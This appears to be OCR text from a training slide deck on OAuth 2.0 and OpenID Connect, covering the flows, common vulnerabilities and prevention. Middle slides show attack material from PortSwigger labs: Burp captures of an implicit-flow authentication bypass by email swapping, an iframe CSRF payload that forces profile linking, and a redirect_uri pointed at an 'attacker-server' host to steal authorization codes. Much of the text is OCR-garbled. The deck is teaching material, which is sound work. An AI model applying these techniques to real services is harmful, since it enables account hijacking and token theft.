OAuth 2.0 Vulnerabilities
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Sessions, Cookies, and Simpler Times

User Web Application Database
bob/bob123 < - C [yelp.com/login ]
—|  Account Login bob:f2d8f0...
[ Username ]

—

s |

[ Password ]

Set-Cookie:

session=66htna8u...

User Privileges:
regular




Sessions, Cookies, and Simpler Times

User Web Application Database

«->C [yelp.com/ cccccc t ]

session=66htna8u... session=66htna8u...

Bob, welcome to Yelp!

yelp ¢

ﬁ




The Problem of Delegated Access

How can a user authorize an application to access protected data on their behalf?

Are your friends already on Yelp?

Liany of your friends may zslready be here, now you can find out Justlog in 2nd we'll display 2ll your contacls, 2nd you can

seled which ones to invite! And dont worry, we don't keep your email password or your friends’ addresses. We loathe spam,
00

Your Email Service B8 msn® Hotmail BRGER 7' : = = LIUSENGE AOL > Moi ® Gt’lé-”
Your Email Address ima.lestguy@gmail.com (2 g. bob@gmail com)
Your Gmail Password 0000000000 (The cassword you use fo icg inlo your Gmaii email)

Cio i stz | Check Contacts |

- =




APl Keys (Still Not Enough)

Then came API keys, which were issued to developers to identify their applications.

~/ What API Keys Provided:
* Application identification without user context.
* Simple to implement.

X What API Keys Lacked:
* No user user consent or delegation.
* All-or-nothing access.
* Security gaps.
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is the industry-standard framework for
authorization. It enables websites and web applications
to request limited access to a user's account on another
application.




OAuth 2.0 Authorization Flow

- = c [yelp.com

yelpe

[ 3 Connect with Google

—G—.

= —) C [accounts.google.com

4 )
Username

\ J

4 )
Password

\ J

[ contacts.google.com ]

-~ - c [yelp.com/callback

yelp~¢
¥, »

e

LOADING...

< —p C' [accounts.google.com

Sign in to Yelp ~¢

‘—e— [ jason@gmail.com ]

By continuing, Google will share your profile and
contacts with Yelp.

[ Cancel ] [ Continue ]
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OAuth 2.0 Terminology

* Client application — The website or application that wants to access the user’s data.

 Resource Owner — The user whose data the client application wants to access.

* Authorization Server — This is the server responsible for authenticating the user.

* Redirect URI — The callback endpoint where the authorization server sends the user
after authorization.

* Scope — Specifies what access the application is requesting.

e State — A value sent by the client to prevent CSRF attacks.

 Response Type — Indicates the type of authorization flow.

* Access Token — A token issued by the authorization server that allows the client to
access protected resources on behalf of the user.
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OAuth 2.0 Authorization Code Grant Type

Client Application Authorization Server
- - C [yelp.com ] Authorization Request G =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback
&response type=code&scope=openid%20profile%20contacts&state=ael3d489bdo p N
| N < Username
ye p 4% Q — N J
4 N
Password
Q .
.7  Connect with Google Access Token Request - J
POST /token v ]
client_id=123&client_secret=SECRET&redirect_uri=https://yelp.com/callback -
‘ &grant_type=authorization_code&code=alb2c3d4e5f6g7h8 - - — /I
- — - - - -
© APl call with contacts.google.com ﬂ’ - - -
access token to Resource - - User logs in and
resource server. Server . - - consents.
ﬂ Resource grant. —
‘ _ - . —
v - -
—
-
A Token Grant
- =) C [yelp.com/callback ] ccess foken Gran <~ —> C [accounts.google.com ]
{ "access_token": "zOy9x8w7v6u5", "token type": "Bearer",
"expires in": 3600, "scope": "openid profile", .. } . .
yelp 52 Sign in to Yelp =2
U 4
- Authorization Code Grant By continuing, Google will share your profile and
\\ GET /callback?code=alb2c3d4e5f6g7h8&state=ael3d489bdo contacts with Yelp.
Host: yelp.com ]
LOADING... [ Cancel ] [ Continue ]
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More OAuth 2.0 Terminology

* Front Channel — Communication that happens via the user’s browser, often visible
and less secure (e.g., redirects with query parameters).

 Back Channel — Server-to-server communication that happens behind the scenes,
more secure and not exposed to the user or browser.
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OAuth 2.0 Authorization Code Grant Type

Client Application Authorization Server
- - C [yelp.com ] Authorization Request G =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback
&response type=code&scope=openid%20profile%20contacts&state=ael3d489bdo p N
N < Username
yelp s o | /
4 N
Password
3 Connect with Google Access Token Request N J
POST /token v ]
client_id=123&client_secret=SECRET&redirect_uri=https://yelp.com/callback -
‘ &grant_type=authorization_code&code=alb2c3d4e5f6g7h8 - - — /I
- — - - - -
© APl call with contacts.google.com ﬂ’ - - -
access token to Resource - - User logs in and
resource servetr. Server _ 3/ - > consents.
ﬂ Resource grant. —
-
A > > -
v - -
—
-
A Token Grant
- =) C [yelp.com/callback ] ccess foken Gran <~ —> C [accounts.google.com ]
{ "access_token": "zOy9x8w7v6u5", "token type": "Bearer",
"expires in": 3600, "scope": "openid profile", .. }
yelp%: Sign in to Yelp ¢
'I
- Authorization Code Grant By continuing, Google will share your name, email
\\ GET /callback?code=alb2c3d4e5f6g7h8&state=ael3d489bdo address, and contacts with Yelp.
Host: yelp.com ]
LOADING... [ Cancel ] [ Continue ]
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OAuth 2.0 Authorization Implicit Grant Type

Client Application Authorization Server

- - C [yelp.com ] Authorization Request G =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback

&response type=token&scope=openid%20profile¥%20contacts&state=ael3d489bdoo

4 )

ye'p .‘: H Username

Password
Q .
[ .7  Connect with Google } - J

o

-
-

~N
J

@ API call with contacts.google.com
access token to Resource User logs in and
resource server. consents.
a Resource grant. Server
- - C [yelp.com/callback ] <~ —> C [accounts.google.com ]
\ Sign in to Yelp ¢
yelp=¢ g P %
'I
- Access Token Grant By continuing, Google will share your name, email
\\ GET /callback#access token=z@y9x8w7veu5&token type=Bearer address, and contacts with Yelp.
&expires in=5000&scope=openid%20profile20contacts&state=ael3d489bdoo [ C I ] [ Conti ]
LOADING... Host: yelp.com ance ontinue




This is all great, but OAuth didn’t solve a major problem C
- it didn’t tell the application who the user was. |t wasn’t r

built for authentication.

\)
N

|



But Apps Started Using OAuth for Login...

.

Sign in to Yelp

Connect with great local businesses

By proceeding, you agree to Yelp's Terms of Service and
acknowledge Yelp's Privacy Policy.

G Continue with Google

.’ Continue with Apple

or

Email

Linked [}

Signin

N N

.' Sign in with Apple

< {5 Continue with Google

or

Email or phone

Password Show

Forgot password?

Keep me logged in

X
Signinto X

{5 Sign in with Google

@& Sign in with Apple

or

Phone, email, or username

Next

Forgot password?

Don't have an account? Sign up




WHAT IS OPENID
CONNECT?




OAuth 2.0 and OpenlD Connect

OpenlD Connect is used

OpenlD Connect T
for authentication.

OAuth 2.0 is used for
authorization.

OAuth 2.0
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What OpenlID Connect Adds to OAuth 2.0?

ID token (id token) — a signed token that contains identity information about the
user.
A userinfo endpoint where apps can retrieve additional profile details if needed.

OpenlID Connect roles.

* Relying party — The application that is requesting authentication of a user.

* End User — The user who is being authenticated.

* OpenlD provider — An OAuth service that is configured to support OpenlID Connect.

OpenlID Connect claims and scopes.
* Scopes define what kind of identity information the client wants to access. Ex. profile,

email, address, etc.
* Claims are pieces of information about the user, included in the ID token.
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OpenlD Connect Authorization Code Flow

Client Application Authorization Server
- - C [yelp.com ] Authorization Request G =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback
&response_type=code&scope=openid%20profile%20contacts&state=ael3d489bdo p N
N < Username
yelp s o | /
4 N
Password
3 Connect with Google Access Token Request N J
POST /token v ]
client_id=123&client_secret=SECRET&redirect_uri=https://yelp.com/callback -
‘ &grant_type=authorization_code&code=alb2c3d4e5f6g7h8 - - — /I
- - - - — -
© APl call with contacts.google.com ﬂ’ - - -
access token to Resource - - User logs in and
resource server. Server . - - consents.
ﬂ Resource grant. —
-
A > > -
v - -
—
-
A Token Grant
- =) C [yelp.com/callback ] ccess foken Gran <~ —> C [accounts.google.com ]
{ "access_token": "zOy9x8w7v6u5", "token type": "Bearer",
"expires in": 3600, "scope": "openid profile", .. }
yelp%: Sign in to Yelp ¢
'I
- Authorization Code Grant By continuing, Google will share your name, email
\\ GET /callback?code=alb2c3d4e5f6g7h8&state=ael3d489bdo address, and contacts with Yelp.
Host: yelp.com ]
LOADING... [ Cancel ] [ Continue ]




HOW TO FIND & EXPLOIT
OAUTH 2.0 VULNERABILITIES?
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ldentify OAuth Authentication

OAuth authentication is easy to spot:
* If an app offers a “Log in with Google/Github/etc.” option, it is likely using OAuth.

* To confirm, proxy the login flow through Burp Suite and inspect the HTTP traffic
for the following endpoints:

" OAuth flow always begins with a request to an authorization endpoint.
" Uses specific key query parameters: client_id, redirect_uri, response_type, etc.

Sample OAuth Authorization Request

_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

EGET /authorization?client id=12345&redirect uri=https://client-app.com/callback&response type=
token&scope=openid$20profile&state=ael3d489bd00e3c24 HTTP/1.1
Host: ocauth-authorization-server.com

_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
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Exploiting OAuth Authentication Vulnerabilities

Client Application Vulnerabilities

d Improper implementation of the implicit grant type.
] Flawed CSRF protection

OAuth Service Vulnerabilities

. Leaking authorization codes and access tokens.
J Flawed scope validation.
. Unverified user registration.

OpenlID Connect Vulnerabilities

. Unprotected dynamic client registration.
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Improper Implementation of the Implicit Grant Type

Client Application Authorization Server

G =) C [yelp.com ] Authorization Request G =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback

&response type=token&scope=openid%20profile¥%20contacts&state=ael3d489bdoo

4 )

ye'p .‘c H Username

Password
“ .
[ .7  Connect with Google } - J

o

-
-

\
J

@ API call with contacts.google.com
access token to Resource User logs in and
resource server. consents.
a Resource grant. Server
- - C [yelp.com/callback ] <~ —> C [accounts.google.com ]
\ Sign in to Yelp ¢
yelp=¢ g P %
'I
- Access Token Grant By continuing, Google will share your name, email
\\ GET /callback#access token=z@y9x8w7veu5&token type=Bearer address, and contacts with Yelp.
&expires in=5000&scope=openid%20profile20contacts&state=ael3d489bdoo [ C I ] [ Conti ]
LOADING... Host: yelp.com ance ontinue
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Improper Implementation of the Implicit Grant Type

Request Response

Pretty Raw  Hex N \n = Raw  Hex \n =
1 POST /authenticate HTTP/2 1 HTTP/2 302 Found

2 Host: 0ab6002d045fa5fc80ed17080040000b.web—security—academy.net 2 Location: /

3 Cookie: session=b2Z9umtOpvqrgyBl0qvwsMWhdeowdl5r 3 Set-Cookie: session=gAdpYTDM50wwomczrfh64Z5Rxt0scFxC; Secure;
4 Content-Length: 103 HttpOnly; SameSite=None

5 Sec-Ch-Ua-Platform: "macOS" 4 X-Frame-Options: SAMEORIGIN

6 Accept-Language: en-US,en;q=0.9 5 Content-Length: 0

7 Accept: application/json 6

8 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138" 7

9 Content-Type: application/json

190 Sec-Ch-Ua-Mobile: 70

11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0
Safari/537.36
Origin:
https://0ab6002d045fa5fc80ed17080040000b.web—-security—academy.net
13 Sec-Fetch-Site: same-origin
14 Sec—Fetch—-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer:
https://0ab6002d045fa5fc80ed17080040000b.web—-security—-academy.net/
oauth-callback
17 Accept-Encoding: gzip, deflate, br
18 Priority: u=1l, 1
19
po {
"email":"wiener@hotdog.com",
"username":"wiener",
"token":"5IUGS05Fq@doelH1zCoWN75412]14w7 lbpI-G9rDzBT"

=
N

}
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Improper Implementation of the Implicit Grant Type

Request Response

Pretty Raw  Hex N \n = Raw  Hex \n =
1 POST /authenticate HTTP/2 1 HTTP/2 302 Found

2 Host: 0ab6002d045fa5fc80ed17080040000b.web—-security—academy.net 2 Location: /

3 Cookie: session=b2Z9umtOpvqrgyBl0gvwsMWhdeowdl5r 3 Set-Cookie: session=Pcanrb43cpt8qgVztm5uMBUt8Pjm0C2Xd; Secure;
4 Content-Length: 111 HttpOnly; SameSite=None

5 Sec-Ch-Ua-Platform: "macOS" 4 X-Frame-Options: SAMEORIGIN

6 Accept-Language: en-US,en;qg=0.9 5 Content-Length: @

7 Accept: application/json 6

8 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138" 7

9 Content-Type: application/json
10 Sec—-Ch-Ua-Mobile: 70
11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0

Safari/537.36

Origin:

https://0ab6002d045fa5fc80ed17080040000b.web—-security—academy.net

13 Sec—-Fetch-Site: same-origin

14 Sec-Fetch-Mode: cors

15 Sec—-Fetch-Dest: empty

16 Referer:
https://0ab6002d045fa5fc80ed17080040000b.web—-security—-academy.net/
oauth-callback

17 Accept-Encoding: gzip, deflate, br

18 Priority: u=1l, 1

19

PO {

=
N

"email":"carlos@carlos—-montoya.net",
"username":"carlos",
Ttoken™:"5IUGS05Fq0doeIHTzCoWN7S412§14w7 1bpI-GOrDzBT"

}
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Flawed CSRF Protection

Client Application Authorization Server
- =) C [yelp.com ] Authorization Request - =) C [accounts.google.com ]
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback
&response type=token&scope=openid%20profile¥%20contacts&state=ael3d489bdoo p N
| N Username
:5"5’ |:> 4% ‘I!" — N y
4 )
Password
“ .
[ 2  Connect with Google } ~ o

o

@ API call with contacts.google.com
access token to Resource User logs in and
resource server. consents.
e Resource grant. Server
- - C [yelp.com/callback ] <~ —> C [accounts.google.com ]
\ Sign in to Yelp %%
yelp=¢ g P %
'I
- Access Token Grant By continuing, Google will share your name, email
\\ GET /callback#access token=z@y9x8w7veu5&token type=Bearer address, and contacts with Yelp.
&expires in=5000&scope=openid%20profile2@contacts&state=ael3d489bdoo [ C I ] [ Conti ]
LOADING... Host: yelp.com ance ontinue
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Flawed CSRF Protection

Home | My account | Log out

My Account

Your username is: wiener
Your email is: wiener@hotdog.com

Your API| Key is: cGgINOGho TEAOSIJwIN2SGTkrNxtNfZe

Your social profile username is:

Attach a social profile

Role: Normal
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Flawed CSRF Protection

Request

Pretty Raw Hex PN \n =
1 GET /oauth-1linking?code=

fSYFZ1iFXpR1IWImzzaNrAnqE9ULreJrcxThS4xT9DRI8 HTTP/2
Host: 0a44009e0481744081653e3a00200078.web—-security—-academy.net
Cookie: session=o0qeuxX1fBDhlKgbbiYboFTiVjdUXb40Me
Cache-Control: max-age=0
Accept-Language: en-US,en;g=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0
Safari/537.36
8 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,
image/webp, image/apng,*/%*;q=0.8,application/signed-exchange;v=b3;

and password q=0.7
9 Sec-Fetch-Site: cross-site
10 Sec-Fetch-Mode: navigate

11 Sec-Fetch-User: 7?71

12 Sec-Fetch-Dest: document
13 Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
14 Sec-Ch-Ua-Mobile: 70
15 Sec—-Ch-Ua-Platform: "mac0S"

Sign-in

NOoOouopbse WN

Enter a username or emaiil

16 Referer:
https://o0oauth-0aa7008a04fe748781e83c6202caddda.oauth-server.net/

17 Accept-Encoding: gzip, deflate, br

18 Priority: u=0, 1

L a
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Flawed CSRF Protection

Generate a code using the attacker account and then send the following exploit to the
victim user.

§<iframe src="https://YOUR-LAB-ID.web-security—-academy.net/ocauth-linking?code=ATTACKER-
éCODE"></iframe>

___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

When the victim clicks on the the exploit link, the iframe will complete the OAuth
flow using the attacker’s social media profile, attaching it to the victim account on the
blog website.
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Exploiting OAuth Authentication Vulnerabilities

Client Application Vulnerabilities

Improper implementation of the implicit grant type.
Flawed CSRF protection

OAuth Service Vulnerabilities

[1 Leaking authorization codes and access tokens.
[1 Flawed scope validation.
[1 Unverified user registration.

OpenlID Connect Vulnerabilities

[1 Unprotected dynamic client registration.
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Leaking Authorization Codes and Access Tokens

Client Application

- =) C [yelp.com

yelpe

Connect with Google

G

Authorization Server

Authorization Request
GET /authorization?client id=123&redirect _uri=https://yelp.com/callback
&response type=code&scope=openid%20profile%20contacts&state=ael3d489bdo

43—.

Access Token Request
POST /token

client_id=123&client_secret=SECRET&redirect_uri=https://yelp.com/callback
&grant_type=authorization_code&code=alb2c3d4e5f6g7h8

© API call with contacts.google.com

= —) C [accounts.google.com

4 N\
Username

-
-

\
J

Password
\_ J

/
-
/
//
/

User logs in and
consents.

access token to Resource
resource server. Server <
ﬂ Resource grant. - - 3/
—
v - -
—
Vel -
— - c [yelp.com/callback ] Access Token Grant

{ "access_token": "zOy9x8w7v6u5", "token type": "Bearer",
"expires in": 3600, "scope": "openid profile", .. }

yelp 3¢
¥ »

\\

LOADING...

. e @

Authorization Code Grant
GET /callback?code=alb2c3d4e5f6g7h8&state=ael3d489bdo
Host: yelp.com

-~ - C [accounts.google.com

Sign in to Yelp ~¢

[0 jason@gmail.com ]

By continuing, Google will share your name, email
address, and contacts with Yelp.

J

[ Cancel Continue ]
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Leaking Authorization Codes and Access Tokens

Client Application Authorization Server
- =) C [yelp.com ] Authorization Request - =) C [accou nts.google.com ]
GET /authorization?client id=123&redirect _uri=https://attacker-
server/callback&response type=code&scope=openid%20profile%20contacts&stat¢ p N
=ael3d489bdo
ye'p s Username
4 N
Password
3 Connect with Google Access Token Request \- J
POST /token v )
client_id=123&client_secret=SECRET&redirect_uri=https://yelp.com/callback - Sign In
‘ &grant_type=authorization_code&code=alb2c3d4e5f6g7h8 - - — /I
- — > - - -
© APl call with contacts.google.com ﬂ’ - - -
access token to Resource - ’ - - User logs in and
resource server. - consents.
ﬂ Resource grant. Server — - 3/
—
A > - -
v - -
—
—
A Token Grant
-~ —> c [yelp.com/callback ] ccess loken Gran -~ —> C [accounts.google.com ]
{ "access_token": "zOy9x8w7v6u5", "token type": "Bearer",
"expires in": 3600, "scope": "openid profile", .. } 9
yelp*}: a Sign in to Yelp ¢
.' \@ / [0 jason@gmail.com ]
&
- By continuing, Google will share your name, email
\\ address, and contacts with Yelp.
LOADING... [ Cancel ] [ Continue ]
Authorization Code Grant Authorization Code Grant
GET /callback?code=alb2c3d4e5f6g7h8... GET /callback?code=alb2c3d4e5f6g7h8...

Host: yelp.com Host: attacker-server.com
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Exploiting OAuth Authentication Vulnerabilities

Client Application Vulnerabilities

Improper implementation of the implicit grant type.
Flawed CSRF protection

OAuth Service Vulnerabilities

Leaking authorization codes and access tokens.
Flawed scope validation.
Unverified user registration.

OpenlID Connect Vulnerabilities

[1 Unprotected dynamic client registration.
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Exploiting OAuth Authentication Vulnerabilities

Client Application Vulnerabilities

Improper implementation of the implicit grant type.
Flawed CSRF protection

OAuth Service Vulnerabilities

Leaking authorization codes and access tokens.
Flawed scope validation.
Unverified user registration.

OpenlID Connect Vulnerabilities

[1 Unprotected dynamic client registration.
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Unprotected Dynamic Registration

Standardized way of allowing client applications to register with the OpenID provider.

EPOST /openid/register HTTP/1.1

EContent—Type: application/json

Accept: application/json

éHost: coauth—-authorization-server.com

éAuthorization: Bearer abl2cd34ef56gh89

{

| "application type": "web",

"redlrect uris": [
"https://client-app.com/callback",
"https://client-app.com/callback2"

1

"client name": "My Application",

"logo uri": "https://client-app.com/logo.png",

"token endpoint auth method": "client secret basic",

"jwks uri": "https://client-app.com/my public keys.jwks",

"userinfo encrypted response alg": "RSALI 5",

"userinfo encrypted response enc": "AI28CBC-HS256",
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Authentication bypass via OAuth implicit flow >
SSRF via OpenlD dynamic client registration >

Forced OAuth profile linking =

OAuth 2.0
Vulnerabilities Labs

OAuth account hijacking via redirect_uri >

Stealing OAuth access tokens via an open redirect >

I LAB EXPERT

Stealing OAuth access tokens via a proxy page -




HOW TO PREVENT OAUTH 2.0
VULENRABILITIES?




How to Prevent OAuth 2.0 Vulnerabilities

OAuth security is a shared responsibility — it is essential for both the OAuth provider and the
client application to implement proper validation.

OAuth Service Providers

 Whitelist and validate the “redirect_uri” parameter.

 Enforce and verify the “state” parameter to prevent CSRF attacks.

* On the resource server, ensure the access token was issued to the same “client_id” making
the request. Also ensure that the scope requested matches the scope for which the token
was originally granted.



How to Prevent OAuth 2.0 Vulnerabilities

OAuth security is a shared responsibility — it is essential for both the OAuth provider and the
client application to implement proper validation.

OAuth Client Applications

Understand OAuth flows thoroughly before implementation.

Always use the state parameter for CSRF protection.

Send “redirect_uri” to both /authorization and /token endpoints.

Use Proof Key for Code Exchange (PKCE) for mobile/native apps where the “client_secret”
isn’t secure.

Validate “id token” per OpenID & JWT standards.

Securely store and transmit authorization codes.



Resources

 Web Security Academy — OAuth 2.0 Authentication Vulnerabilities
»> https://portswigger.net/web-security/oauth
* Web Security Academy — OpenlID Connect
> https://portswigger.net/web-security/oauth/openid
* Web Security Academy — OAuth Authentication Labs
> https://portswigger.net/web-security/all-labst#oauth-authentication
* OAuth 2.0 and OpenlD Connect (in plain English)
> https://www.youtube.com/watch?v=9960iexHze0&ab channel=OktaDev

e The OAuth 2.0 Authorization Framework

> https://datatracker.ietf.org/doc/html/rfc6749
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